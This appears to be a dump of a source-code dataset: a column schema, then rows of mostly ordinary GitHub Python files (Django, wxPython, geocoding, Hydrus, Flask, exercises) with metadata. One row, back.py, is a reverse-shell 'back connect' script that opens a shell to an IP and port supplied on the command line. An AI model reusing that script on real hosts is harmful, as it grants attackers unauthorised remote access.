blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
281
content_id
stringlengths
40
40
detected_licenses
listlengths
0
57
license_type
stringclasses
2 values
repo_name
stringlengths
6
116
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
313 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
18.2k
668M
star_events_count
int64
0
102k
fork_events_count
int64
0
38.2k
gha_license_id
stringclasses
17 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
107 values
src_encoding
stringclasses
20 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
4
6.02M
extension
stringclasses
78 values
content
stringlengths
2
6.02M
authors
listlengths
1
1
author
stringlengths
0
175
b8fbc0b99c5be93e107e6a1c6fb69969590151be
3c9e29abee36a3f0250bd8f2ff08ff95c01059d7
/manage.py
df4e0d13027fd800f4e6a5fde9c6888ade01b8aa
[]
no_license
tb08c11687/hostinfo
c1d46bdd1ca85b2f22f22d3bcf0567f909a471a0
948a48e27fad00eb29ed9940f46f76af02450bed
refs/heads/master
2020-04-08T18:56:16.892410
2018-12-02T12:59:30
2018-12-02T12:59:30
159,631,246
0
0
null
null
null
null
UTF-8
Python
false
false
540
py
#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'hostinfo.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are...
[ "1739333173@qq.com" ]
1739333173@qq.com
d7fa66ad64616880f247eb317e139ea3284791e7
9f2226d8c0082dec60e482d8555955bf47709ca7
/lab4.py
698bf353b11666568e0c81853e3a603e1ff16fbe
[]
no_license
maximlev0-9/numeric-methods-labs
03fd03bd2bb702e4d21d4b2e392a84719380ffd6
3bf87396894da2b70ffdffc335da680c6e981f7c
refs/heads/main
2023-02-08T03:37:34.302202
2020-12-31T16:22:06
2020-12-31T16:22:06
325,832,871
0
0
null
null
null
null
UTF-8
Python
false
false
550
py
import math integral = 0 m = 100 a = 1 b = 2 n = 2*m h = (b-a)/n def F(x:float): return -1*math.sqrt((9-x**2)**3)/3 def f(x:float): return x*math.sqrt(9-x**2) fa = f(a) fb = f(b) for i in range(m): x = a+(2*i - 1)*h integral = integral + 4*f(x) for i in range(m-1): x = a + 2*i*h integral =...
[ "maximlev01234@gmail.com" ]
maximlev01234@gmail.com
7dc9ec30aeae5c26f4b341455648d1d087961343
1c645859854d5fc60bfb677913e5a72da9c5b90a
/Week-2/Lecture 2/4.py
e2bf93a1e8981255d0161ecf62830835086cc10e
[]
no_license
Sanzhar789526/PP2-summer
1dca8a6b030af4eef6cc4a1031824e148bbd97f7
c0df22e91df2dcb0acf34daaea11b2441dfd5778
refs/heads/main
2023-06-24T23:40:15.622799
2021-07-29T08:34:47
2021-07-29T08:34:47
379,906,495
0
0
null
null
null
null
UTF-8
Python
false
false
107
py
file = open("Test1.txt","r") lines = file.readlines() n=1 last_lines = lines[-n:] print(last_lines)
[ "noreply@github.com" ]
noreply@github.com
3db1c085e8a1c20d8814e3cf539505d24c6036e6
3c000380cbb7e8deb6abf9c6f3e29e8e89784830
/venv/Lib/site-packages/cobra/modelimpl/reln/targetdeleteargs.py
1ed2258f3814fe86e5b5b2306d6d6bd97c64e2a3
[]
no_license
bkhoward/aciDOM
91b0406f00da7aac413a81c8db2129b4bfc5497b
f2674456ecb19cf7299ef0c5a0887560b8b315d0
refs/heads/master
2023-03-27T23:37:02.836904
2021-03-26T22:07:54
2021-03-26T22:07:54
351,855,399
0
0
null
null
null
null
UTF-8
Python
false
false
4,573
py
# coding=UTF-8 # ********************************************************************** # Copyright (c) 2013-2020 Cisco Systems, Inc. All rights reserved # written by zen warriors, do not modify! # ********************************************************************** from cobra.mit.meta import ClassMeta from cobra.m...
[ "bkhoward@live.com" ]
bkhoward@live.com
1233a34eb6d437013bf1206beda7a7cba8d3ecf0
cd52c087dad83c54563c891502378a5fc1a7fa43
/tests/panel_test.py
2ee0914310b5a3abe77aac9e32180be9081c441d
[]
no_license
johanlundahl/home_store
08c7aac14264205a9e115ccc74625f3cefae5c52
61fbf53fe4c44a6aabfb146e61f8aa9a7a651752
refs/heads/master
2023-01-11T15:49:44.834906
2022-12-29T14:14:50
2022-12-29T14:14:50
204,285,980
0
0
null
null
null
null
UTF-8
Python
false
false
1,582
py
import unittest from home_store.models import Panel class TestPanel(unittest.TestCase): def test_not_valid_create(self): invalid = {'id': 123, 'name': 'yalla', 'energy': 12} self.assertFalse(Panel.valid_create(invalid)) invalid = {'id': 345, 'name': 'yalla', 'anergy': 12, ...
[ "johan.t.lundahl@gmail.com" ]
johan.t.lundahl@gmail.com
1732e719f711462f0cdaacc5e812041ae4e529aa
ae4b285823fd8dafb8d8158b0750abd90f841521
/back.py
dca65995b984154c9c9e19a75140cd7df71be999
[]
no_license
linuxgarry/pyshell
3c3b8e00e109f17c5cd8629e20d90d9542a10f4b
5df5fe9bec2007798458ca3c4203f0072687deff
refs/heads/master
2021-05-31T12:03:33.634952
2016-05-26T02:52:10
2016-05-26T02:52:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,166
py
# -*- coding:utf-8 -*- #!/usr/bin/env python """ back connect py version,only linux have pty module code by google security team """ import sys,os,socket,pty shell = "/bin/sh" def usage(name): print 'python reverse connector' print 'usage: %s <ip_addr> <port>' % name def main(): if len(sys.argv) < 3: ...
[ "wantongtang@foxmail.com" ]
wantongtang@foxmail.com
6c4297851f0481e37bd8fd31c68350ea440fd273
0e3a05fcc658c2dd8fc01d8eb9f3a0a69cb77746
/lib/distributions/hyperbolic_wrapped.py
0bbbd22df14a2d4685bde84b746fe205bb2874b7
[]
no_license
Qin-Folks/hyperbolic_wrapped_distribution
907910e3e3e8c972d34d1806bf3c0822c1cd65f6
b3a04ea2f0cc619c4ad38eab961aff6e9542c1e6
refs/heads/master
2020-07-06T11:09:16.707023
2019-05-31T01:25:03
2019-05-31T01:25:03
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,341
py
import chainer from chainer.backends import cuda import chainer.functions as F # from chainer.utils import cache # cache is only works for version >= 6 from lib.distributions import bijector, transformed_distribution from lib import functions, xp_functions from lib.miscs.utils import eps class ConcatFirstAxisBiject...
[ "y.nagano.92@gmail.com" ]
y.nagano.92@gmail.com
037cb81423d3403deac7a0a78df369cf1b4b0282
6829338819eff7936a748948f94825bd06b8197b
/Server/venv/lib/python3.5/site-packages/jpush/device/__init__.py
08240699093a2e5978f981da3920cfcccbcaad45
[ "MIT" ]
permissive
sue93/jbox
2132258acaf89e6984ac3d532efc9fa2bfc1e75b
51cd8744a2640c6c770a8f7d03c0369cf9b66805
refs/heads/master
2020-05-23T13:50:28.915044
2018-07-31T11:11:30
2018-07-31T11:11:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
282
py
from .core import Device from .entity import ( add, remove, device_tag, device_alias, device_regid, device_mobile, ) __all__ = [ Device, add, remove, device_tag, device_alias, device_regid, device_mobile, ]
[ "huangmin@jpush.cn" ]
huangmin@jpush.cn
e62f35b68acea066ccd384e02abb050626109bf9
b60b4d5ddd46dbaea6019ca022104bf81fd83566
/Assets/Python/ReligiousVictory.py
9666ae545e724286162a1a5a2ab7798cea62adf0
[ "MIT" ]
permissive
civplayer/Dawn-of-Civilization
0fd710b30dd5ea318e7520830ca95e33991729df
6d68de3470313fee91969cfabfebc523e2c0f131
refs/heads/develop
2022-05-01T21:43:16.821765
2022-04-20T04:10:12
2022-04-20T04:10:12
174,466,505
0
0
null
2021-02-26T18:48:45
2019-03-08T04:02:25
C++
UTF-8
Python
false
false
3,489
py
from VictoryGoals import * from Locations import * ### GOALS ### dGoals = { iHinduism: ( DifferentSpecialists(holyCity(iHinduism), 5), GoldenAges(3), BestPopulationCities(5).religion(iHinduism), ), iZoroastrianism: ( ResourceCount(iIncense, 6), ReligionSpreadPercent(iZoroastrianism, 10), CultureLevel(...
[ "dguenms@gmail.com" ]
dguenms@gmail.com
9975771d8b22e038b7970424a9cac43154d45e44
d770a3d67156422a5c1c63a2dbdf9ea6485a6b17
/fuck.py
9ec904daa4c10f1661ff71551aa9164cacf4d27a
[]
no_license
hschhh666/PedestrainSimulatorPythonScript
ab81bc4600735e007168d317a31ee70ad01ba791
e2312ecc4592412719084e8fa815812670969f26
refs/heads/master
2022-12-04T00:22:37.557429
2020-08-21T12:08:21
2020-08-21T12:08:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,424
py
import numpy as np import cv2 import matplotlib.pyplot as plt import os ############################# 输入参数区 ############################# # base_matrix_file = 'D:/Research/IV2020MapPrediction/Code/MapPrediction/GenerateFakeMap/datas/EastSouthGate/Matrixs/SouthEastBaseMatrix.npy' ...
[ "370228456@qq.com" ]
370228456@qq.com
816924367393e843b482c13a62e8f6dce990eec6
aa4ff0f72128f339b9df555c90c0c28e323d8484
/venv/lib/python3.8/site-packages/geocoder/opencage.py
88369adc9a55f548aeee5ffa0a9177be3f7aa351
[]
no_license
joelsiew/StudyMode
c89765f1ff5f62da4f0f5c70e91354914e7e996e
407b05efeefa84ca83ec961e08662f3b6b726a0c
refs/heads/master
2022-12-10T08:20:34.733515
2019-11-04T22:37:04
2019-11-04T22:37:04
236,646,884
0
0
null
2022-12-08T07:04:48
2020-01-28T03:06:23
Python
UTF-8
Python
false
false
12,277
py
#!/usr/bin/python # coding: utf8 from __future__ import absolute_import import logging from geocoder.location import BBox from geocoder.base import OneResult, MultipleResultsQuery from geocoder.keys import opencage_key class OpenCageResult(OneResult): def __init__(self, json_content): #...
[ "abouker@Adam-Gigabyte.localdomain" ]
abouker@Adam-Gigabyte.localdomain
bb2f4dd57cd27094a5f7e20612fb68e83dcf6cb5
2d5ad92324dce0c81c5b8af771b5f2b9b45f48c0
/main.py
e821c1ace92e2102424965e4ef6b3404eac0a54f
[]
no_license
Mallan627/build-a-blog
0dc953221d7db236a1095d74d61b227faa1ae123
ee080c9c5781144f62e3e9d4c3b206093c15eece
refs/heads/master
2021-01-19T10:39:29.505499
2017-02-24T00:18:16
2017-02-24T00:18:16
82,199,818
0
0
null
null
null
null
UTF-8
Python
false
false
4,286
py
#!/usr/bin/env python # # Copyright 2007 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
[ "mikeasmith627@gmail.com" ]
mikeasmith627@gmail.com
f6e204abe98b51b59c0c213917ba03cee7702f75
c18f8209e1524e00d29804acca0878c5e5a67143
/Neural_Network_Study/Test.py
95ace063a61a044e4e5a4e1dcb89dcb4bed207a3
[]
no_license
minwoo2305/minwoo_Git
f81e07f05d6a0f5e003f68534abbcf83b7f43e9e
15862f0256593d5632dc58da0cac275a1332b328
refs/heads/master
2022-09-12T03:29:59.898708
2022-09-02T23:14:29
2022-09-02T23:14:29
95,758,383
0
0
null
null
null
null
UTF-8
Python
false
false
1,910
py
# 평균을 구하는 멤버함수 # 표준편자를 구하는 멤버함수 # 전체인원의 성적을 정렬해서 등수를 구하는 멤버함수, 이 함수는 2차원 리스트를 반환 # 이차원리스트는 nx3의 2차원 리스트 첫번째 컬럼은 이름, 컬럼성적, 컬럼등수,sort사용x import math class Student: zero = 0 z = 0 def __init__(self, name, grade, count, x, lst): self.name = name self.grade = grade self...
[ "noreply@github.com" ]
noreply@github.com
0c129d110fed4ee2d34b66e9da35c11ada55cad1
c0dafc644ece447f8d967425f9ee3cad10286d55
/venv/lib/python3.5/site-packages/wikiquote/utils.py
773d913e040e30e6a7581c1e0c9c8eee7a43ca59
[]
no_license
estevez-alejo/memeGenerator
1decfe5209ff9839a0ffe4a73e192c2fac476b65
6e5ce20ce64a9aae417c7e1e912b27d9ffa5d582
refs/heads/master
2020-04-13T19:18:40.896052
2018-12-29T00:04:57
2018-12-29T00:04:57
163,398,862
1
0
null
null
null
null
UTF-8
Python
false
false
4,331
py
import urllib.request import urllib.parse import json import lxml import re from .constants import MIN_QUOTE_LEN, MIN_QUOTE_WORDS class NoSuchPageException(Exception): pass class DisambiguationPageException(Exception): pass class UnsupportedLanguageException(Exception): pass W_URL = 'http://{lang}....
[ "estevez.alejo@gmail.com" ]
estevez.alejo@gmail.com
e0ded9a34fb8f7c09534c0a01179e788568f6c68
32bf0a8414eab23ff14d688e447df03be8470269
/Taskes/Task1.10.py
ba11e8c0055aa462c4ebf0e5d15ff3865be32109
[]
no_license
BelickovVladislav/Python-learning
fe4266aebfdb002beb933bcb1734746190a4e6b9
1ff6d048f8e31713e276da27c7edb5b801c760d5
refs/heads/master
2021-01-23T01:26:34.986578
2017-05-30T19:30:40
2017-05-30T19:30:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
846
py
# Найти все меньшие N числа-палиндромы, которые при возведении в квадрат дают палиндром. # Число называется палиндромом, если его запись читается одинаково с начала и с конца. print("Enter the number: ") def numerals_revers(number): revers_number = 0 while number != 0: revers_number = revers_number *...
[ "Владислав@Kapec" ]
Владислав@Kapec
52ac9f2b3f83a4fbf8c6da39c97ad1b2f6a64190
3b860af872e7dfef4751947fe5fd2feb67fa774f
/test_selenium/my/base.py
852008eebdb0f51141d5d4e6d024283511b7d4b7
[]
no_license
hedgehoght/HogwartsLG5
c702feb8446657e24e11e75390f57d12a96fbaff
b3b292dafdf937edc26293cafb7b7f1591df3668
refs/heads/main
2023-03-13T16:44:25.159958
2021-03-03T12:18:45
2021-03-03T12:18:45
322,858,666
0
0
null
2020-12-19T13:52:20
2020-12-19T13:52:19
null
UTF-8
Python
false
false
567
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 15:00 # @Author : huangting # @File : base.py import os from selenium import webdriver class Base: def setup(self): browser = os.getenv("browser") if browser == 'firefox': self.driver = webdriver.Firefox() elif browser == ...
[ "1720886432@qq.com" ]
1720886432@qq.com
855668e189feaa31b94e8aad5ae1832adb402eee
bcee69ffcfb85be9e21e60d817e3330dcafcc6da
/forms.py
fabb5f1bd5c58fda6910575e3607dcfd32cfe750
[]
no_license
NihadR/BJSS
c3b69ff6b2457e59dd90512ac2d7c66acbdccaad
82e25dcba0de3ba958ac851f8dee943332057b50
refs/heads/main
2023-03-19T02:38:07.678486
2021-03-11T21:08:58
2021-03-11T21:08:58
345,466,135
0
0
null
null
null
null
UTF-8
Python
false
false
303
py
from flask_wtf import FlaskForm from wtforms import IntegerField, SubmitField from wtforms.validators import DataRequired, NumberRange class DataInput(FlaskForm): house_price = IntegerField('House Price', validators=[DataRequired(), NumberRange(min=0)]) submit = SubmitField('Calculate Tax')
[ "nihad1999@hotmail.co.uk" ]
nihad1999@hotmail.co.uk
87f65ba67ab815a1ed929c5ca7b3cde2ffc9c92c
a19edd1ed8b8711ee7897dcb5a51dcf39f438aa1
/ttsx4/booktest/MyException.py
9b32370e463ea78175bbf84a9bf8814ecc52944f
[]
no_license
ningCherry/django_test
5b1366d542292cae4912adaea24dd096bcab6941
1d3506dbab0bb7f4fdae757a90c288a6597bece5
refs/heads/master
2021-01-08T21:50:50.166076
2020-02-21T15:18:49
2020-02-21T15:18:49
242,152,197
0
0
null
null
null
null
UTF-8
Python
false
false
835
py
from django.http import HttpResponse from django.utils.deprecation import MiddlewareMixin #出错原始代码: # from django.http import HttpResponse # class MyException(object): # def process_exception(request,response, exception): # return HttpResponse(exception.message) # #正确代码1 # class MyException(object): # ...
[ "834121195@qq.com" ]
834121195@qq.com
0eee2867d2a4f3aca7a06bb5468124d94ef182fe
1e263d605d4eaf0fd20f90dd2aa4174574e3ebce
/components/ally-utilities/__setup__/ally_utilities/logging.py
b8a479b38eb8e2357cf75e837ffe1b544a61d068
[]
no_license
galiminus/my_liveblog
698f67174753ff30f8c9590935d6562a79ad2cbf
550aa1d0a58fc30aa9faccbfd24c79a0ceb83352
refs/heads/master
2021-05-26T20:03:13.506295
2013-04-23T09:57:53
2013-04-23T09:57:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,296
py
''' Created on Nov 7, 2012 @package: ally utilities @copyright: 2012 Sourcefabric o.p.s. @license: http://www.gnu.org/licenses/gpl-3.0.txt @author: Gabriel Nistor Provides the logging configurations to be used for the application. ''' from ally.container import ioc # ------------------------------------------------...
[ "etienne@spillemaeker.com" ]
etienne@spillemaeker.com
ff8d4b5f8f49491de4be82ce45c554b7e70e6eea
4849194ea69544945893a768a4ec937225557a7d
/scripts/diagnostics.py
16920dd94931f1ea2a8426a406aa64147cf5e673
[]
no_license
SimonTommerup/dynamic-complex-network
28976321c1eebd4e7d73e8c05b2ce4bfc20abd69
cf8c65c2cd0c664871f174334e09eda95144cb58
refs/heads/main
2023-07-11T22:16:48.821954
2021-08-15T17:34:46
2021-08-15T17:34:46
336,815,208
2
0
null
null
null
null
UTF-8
Python
false
false
3,613
py
import torch import smallnet_sqdist as smallnet import numpy as np model = smallnet.SmallNet(n_points=4, init_beta=torch.tensor([1.])) model.load_state_dict(torch.load(r"state_dicts\training_experiment\batch=141_LR=0.001_75epoch_init_7.pth")) model_full = smallnet.SmallNet(n_points=4, init_beta=torch.tensor([1.])) mo...
[ "simontommerup@outlook.dk" ]
simontommerup@outlook.dk
efb1c227de041ffaab981e66692a1fe0e05941b0
7da94fe767ae73764b85abd1fcd3cbe80f4e587f
/0.py
27cc207ca4d5cdbeb151b6108957c80b9366de46
[]
no_license
BrianBoLiu/gitcoin
7eee14146312de3d4e9185237cc9fa2b9fcf7c64
af2aba62aa3cbab4ba21ac0b173c46df605e91ee
refs/heads/master
2021-01-01T19:10:52.350356
2015-05-29T06:24:15
2015-05-29T06:24:15
35,271,092
1
0
null
null
null
null
UTF-8
Python
false
false
2,214
py
#!/usr/bin/env python # coding=utf-8 import os import subprocess #import sys import time #import threading #import signal import redis import psutil #from multiprocessing import Process, Queue r = redis.StrictRedis(host='elec5616.com', port=6379, db=0) p = r.pubsub() p.subscribe('gitcoin') def kill(p...
[ "boliubrian@gmail.com" ]
boliubrian@gmail.com
d874d1563f22e9b73271516f99bc40a3e42fc625
c3223d5ddbee6dac78306ab6b2f3869c902308cf
/Python/3.20-stayingInBounds.py
d22f63a0d23ad80c61f36d24a903dff407542797
[]
no_license
pthang1102/Intro-to-programming
af4c6f9d442b4b1a47f4b711c41ebfaf76beda63
9a23812dfbf31457daf0e68308674f0ea263fe0c
refs/heads/master
2022-12-15T01:05:27.166885
2020-08-26T17:00:56
2020-08-26T17:00:56
277,180,451
0
0
null
null
null
null
UTF-8
Python
false
false
374
py
# This program visualizes the turtle going in a long, straight-line and walking straight off the screen # Where it turn around and go back the other way # Using xcor() and ycor() import turtle t = turtle.Turtle() t.color("lime") t.width(3) t.penup() t.shape("turtle") for step in range(2000): t.forward(1) if t...
[ "thangt@metropolia.fi" ]
thangt@metropolia.fi
8b5cf639719198aa4a75b1fc13801670f74a49f2
3e3ab92a7ff5993d52676f67dfc2afb0991bac90
/cpquery/train.py
1ec35cc25c361d3b4ca6891eaff4ca7e9193a27c
[]
no_license
zhangchungame/helloTensorflow
ea73af1fd2967281ac4b2288390ded5ddc94494a
7de0391cfa1d841b45ec637fa99846828a8813da
refs/heads/master
2021-05-12T17:24:00.749865
2018-02-14T17:34:46
2018-02-14T17:34:46
117,041,877
0
0
null
null
null
null
UTF-8
Python
false
false
7,068
py
#coding:UTF-8 import numpy as np import tensorflow as tf import readData number = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] calculate=['+','-','='] IMAGE_HEIGHT = 20 IMAGE_WIDTH = 70 MAX_CAPTCHA = 4 char_set = number+calculate # 如果验证码长度小于4, '_'用来补齐 CHAR_SET_LEN = len(char_set) def text2vec(text): t...
[ "zhangchungame@163.com" ]
zhangchungame@163.com
b71acd23bf21455da684ab21dd1b21e6352ab3af
bed6f625855f34a13ca24f4ae3a646aaeb3d649a
/CODE/Viz/data/pantries/pantries/pipelines.py
c474aeefbe59e9d64bd387740e1e824dfbe6747f
[]
no_license
mwijaya3/DisFood
4dbf924d20e296c2fbdd06bec66660dd1c34540c
36aaedc3c5e5bbbf73d6f559095ac1bdc59879ee
refs/heads/master
2021-08-30T21:56:08.691082
2017-12-19T15:10:45
2017-12-19T15:10:45
114,560,674
1
0
null
null
null
null
UTF-8
Python
false
false
288
py
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html class PantriesPipeline(object): def process_item(self, item, spider): return item
[ "mwijaya3@hotmail.com" ]
mwijaya3@hotmail.com
f4a917e23fee15b93e6310e6a42da07566a082ff
c1947dac8436fbb2fb7e6b24eff092231f5b0daf
/daily_coding_problem01.py
287c105f10b9975c2ec35a2335e41cabd7b59202
[]
no_license
wandingz/daily-coding-problem
249cb434a44eb37b0e92e3cdcdfba17bfa3fc07b
cff8049daae7e4be2e956fc488a3eb130e8aa54e
refs/heads/master
2020-03-24T13:31:30.060008
2018-09-27T01:13:51
2018-09-27T01:13:51
142,223,835
0
0
null
null
null
null
UTF-8
Python
false
false
757
py
''' Daily Coding Problem- Problem #1 This problem was recently asked by Google. Given a list of numbers and a number k, return whether any two numbers from the list add up to k. For example, given [10, 15, 3, 7] and k of 17, return true since 10 + 7 is 17. Bonus: Can you do this in one pass? ''' def sum2k(arr, k):...
[ "meridianz777@hotmail.com" ]
meridianz777@hotmail.com
5a7d65488312baf1fae36df661876ce799a7554e
38287b647ad5fcedb2c92acec2925b745eae2b78
/soru8.py
402917703e5483b495fb38afd3507f210c0e70e0
[]
no_license
lila-yilmaz/alistirmalar_I
aa4417d3ab2714d0ee50d3044f14a12c93cdcf03
a512cbb141cf3da2cedcead68e0da4d799cae7da
refs/heads/main
2023-01-05T10:09:44.583380
2020-11-01T08:06:52
2020-11-01T08:06:52
305,102,826
0
0
null
null
null
null
UTF-8
Python
false
false
262
py
counter = 0 for n in range(100,1000,2): if int(str(n)[0]) == int(str(n)[-1]): counter += 1 elif int(str(n)[1]) == int(str(n)[-1]): counter += 1 elif int(str(n)[1]) == int(str(n)[0]): counter += 1 print(counter)
[ "noreply@github.com" ]
noreply@github.com
354f7820102f6ecd8daacb510f49a5a159c51902
3bc270bbecea7ec7676cba8aa02b032a4a0fcda9
/model-car/ros/bdd_car_simple/bair_car/nodes/rosbag_node.py
918651c83c293bf63639604efd70ddbe66a47242
[]
no_license
henry2423/Connected-Car-Project
6288775ad570edd823be992588ef5b2ce3d61982
ed1cb3a00964b2ccc76be1d0c66598a4c40118a2
refs/heads/master
2018-12-27T14:29:05.392383
2018-11-11T08:48:09
2018-11-11T08:48:09
113,866,422
1
2
null
null
null
null
UTF-8
Python
false
false
1,944
py
#!/usr/bin/env python from utils import * import os, sys, shutil, subprocess, time import rospy import std_msgs.msg from car_run_params import foldername time.sleep(3) if __name__ == '__main__': rospy.init_node('rosbag_node', anonymous=True) save_pub = rospy.Publisher('signals', std_msgs.msg.Int32, queue_s...
[ "henry2423@gmail.com" ]
henry2423@gmail.com
aab67d9860ed9c71a79cb65ad39d549bc6174a0b
dca653bb975528bd1b8ab2547f6ef4f48e15b7b7
/tags/wxPy-2.8.10.1/wxPython/wx/lib/gridmovers.py
f007fb1aea41c6a7e5279985ce8feed6a3d70262
[]
no_license
czxxjtu/wxPython-1
51ca2f62ff6c01722e50742d1813f4be378c0517
6a7473c258ea4105f44e31d140ea5c0ae6bc46d8
refs/heads/master
2021-01-15T12:09:59.328778
2015-01-05T20:55:10
2015-01-05T20:55:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
14,861
py
#---------------------------------------------------------------------------- # Name: GridColMover.py # Purpose: Grid Column Mover Extension # # Author: Gerrit van Dyk (email: gerritvd@decillion.net) # # Version 0.1 # Date: Nov 19, 2002 # RCS-ID: $Id$ # Licence: wxWindows lic...
[ "RD@c3d73ce0-8a6f-49c7-b76d-6d57e0e08775" ]
RD@c3d73ce0-8a6f-49c7-b76d-6d57e0e08775
203c35a5a0b6634efcf66b0098ed4c5b2f3f602f
952a4186c6ec9c6686efb0dc1a4dc0d7ec61bf1e
/online_exam/main.py
d746758013bd970b671646f626b531e506963b26
[ "Apache-2.0" ]
permissive
wenxuefeng3930/online-exam
86a7b3a95daa9d0af92eb6c5d9f3e7e4d0474467
415f490e527f4808116b77b8ca4e4cf419af3365
refs/heads/main
2023-03-26T11:16:03.750902
2021-03-24T06:09:56
2021-03-24T06:09:56
427,691,482
1
0
Apache-2.0
2021-11-13T14:45:06
2021-11-13T14:45:05
null
UTF-8
Python
false
false
183
py
#!/usr/bin/env python # coding=utf-8 ''' LastEditors : FlyingHu Date : 2021-03-23 16:00:52 LastEditTime : 2021-03-23 16:01:14 Description : 线上考试系统入口main '''
[ "flyinghu@qq.com" ]
flyinghu@qq.com
21592df1ab03e4bc5631a96f3de6b93a787069ac
e6f0d9716288c7a8ac04aad852343177195fe8a4
/hydrus/client/db/ClientDBMappingsStorage.py
b563cc014146c8b9f8777769f993c37b28e09b00
[ "WTFPL" ]
permissive
dot1991/hydrus
d5fb7960650c7b0cc999832be196deec073146a2
e95ddf7fb65e2a1fc82e091473c4c9e6cb09e69d
refs/heads/master
2023-06-15T19:29:59.477574
2021-07-14T20:42:19
2021-07-14T20:42:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,221
py
import sqlite3 import typing from hydrus.core import HydrusConstants as HC from hydrus.core import HydrusDBModule from hydrus.client.db import ClientDBServices def GenerateMappingsTableNames( service_id: int ) -> typing.Tuple[ str, str, str, str ]: suffix = str( service_id ) current_mappings_table_...
[ "hydrus.admin@gmail.com" ]
hydrus.admin@gmail.com
c52e5a01d006afaa44d941558a3b4413e7d46507
2c97e11e13bfbabfdae8979385ba0957c7b11270
/ebl/tests/corpus/test_text.py
492a85c0eae4e191f7fa44e750326ebdfcf9d5eb
[ "MIT" ]
permissive
ElectronicBabylonianLiterature/ebl-api
72a2a95291e502ec89a20ebe5c14447e63ac6d92
4910f6fbb57fa213fef55cbe9bc16215aebbaa27
refs/heads/master
2023-08-16T12:42:03.303042
2023-08-16T10:59:44
2023-08-16T10:59:44
135,266,736
11
3
MIT
2023-09-12T09:56:14
2018-05-29T08:39:58
Python
UTF-8
Python
false
false
679
py
import pytest from ebl.transliteration.domain.stage import Stage from ebl.tests.factories.corpus import ChapterListingFactory, TextFactory @pytest.mark.parametrize( "chapters,expected", [ (tuple(), False), (ChapterListingFactory.build_batch(2, stage=Stage.NEO_ASSYRIAN), False), ( ...
[ "noreply@github.com" ]
noreply@github.com
917fcebd166d847a92f7e606dacab4fd29e3999f
3f70e754981a941dbc3a24d15edb0a5abe3d4788
/yotta/test/test_ignores.py
a2b9a8a7100fa9cee34d536a142b11b4dc2cd2c5
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
ARMmbed/yotta
66cfa634f03a25594311a569ea369a916cff70bf
82d854b43d391abb5a006b05e7beffe7d0d6ffbf
refs/heads/master
2023-03-16T11:57:12.852163
2021-01-15T13:49:47
2021-01-15T13:49:47
16,579,440
184
87
Apache-2.0
2021-01-15T13:46:43
2014-02-06T13:03:45
Python
UTF-8
Python
false
false
5,789
py
#!/usr/bin/env python # Copyright 2015 ARM Limited # # Licensed under the Apache License, Version 2.0 # See LICENSE file for details. # standard library modules, , , import unittest import os # internal modules: from yotta.lib.detect import systemDefaultTarget from yotta.lib import component from yotta.test.cli impo...
[ "James.Crosby@arm.com" ]
James.Crosby@arm.com
bf6e3cb0f5c2064118fbcc423cf27db89fd23f33
9832fdd9d92c1e019d64b6beae20ab66cfe4ff3f
/routes_dir/terms_page.py
4e9ac8dd0d4c732b0020f9faa0961579ead48458
[ "MIT" ]
permissive
sumit-kothari/Hackathon-Tool
6148b1402ddbffbebd965f3f3efafbceb7ac400b
27b9ce08fd8dadbcd97361fa7a1cb0d974156e1e
refs/heads/master
2022-12-15T22:27:23.098592
2019-12-10T08:35:24
2019-12-10T08:35:24
160,188,105
2
1
MIT
2022-12-08T01:02:04
2018-12-03T12:33:16
HTML
UTF-8
Python
false
false
1,903
py
from flask import Blueprint, render_template, redirect, request as flask_request, make_response, session import constants import boto3 import botocore import io import pandas as pd from sklearn.metrics import accuracy_score from database import VALIDATE_USER, GET_COMPETITION_DETAIL, GET_ALL_COMPETITION_DETAILS,...
[ "sumit@system.com" ]
sumit@system.com
10d0911341fcc9abc1161d437c346c85fc570f56
ac2a1b7fc7c820fc64d17ac41e7b2bedad152765
/Super_Copier_dialog.py
4fc1f863367d27149d98a851d32fd7ebed6322fc
[ "MIT" ]
permissive
IDTruke/QGIS-Super_Copier
5b49d15a1e92c2d94f6c09b90bd87800b7f58ed8
b93802d208b433c3fa9d8e3085c862e9472821c8
refs/heads/master
2021-05-04T10:05:45.726349
2017-08-18T07:58:40
2017-08-18T07:58:40
43,557,185
0
0
null
2015-10-05T10:01:17
2015-10-02T14:24:35
Python
UTF-8
Python
false
false
2,465
py
# -*- coding: utf-8 -*- """ /*************************************************************************** Super_CopierDialog A QGIS plugin Copie des objets avec possibilité de personnaliser les champs ------------------- begin : 2015-...
[ "idtruke@hotmail.fr" ]
idtruke@hotmail.fr
fe48a2d32372e83a0561f36b0866af1d427fe4bc
37e8a118a977fcec3777ed9958d54c8750e2ca0d
/Lista_Introducao/Lista 1/Ex1.py
432694056cea3a06d05711f4ca9acb40c504831c
[ "MIT" ]
permissive
beatrizdaddea/Ex.Python
1957979d40022a8e006651a77979567a867c223a
052cfa4f31c90d83d1904f8c63abfdbe8181177c
refs/heads/main
2023-09-02T06:38:56.365343
2021-11-23T19:19:12
2021-11-23T19:19:12
431,222,301
0
0
null
null
null
null
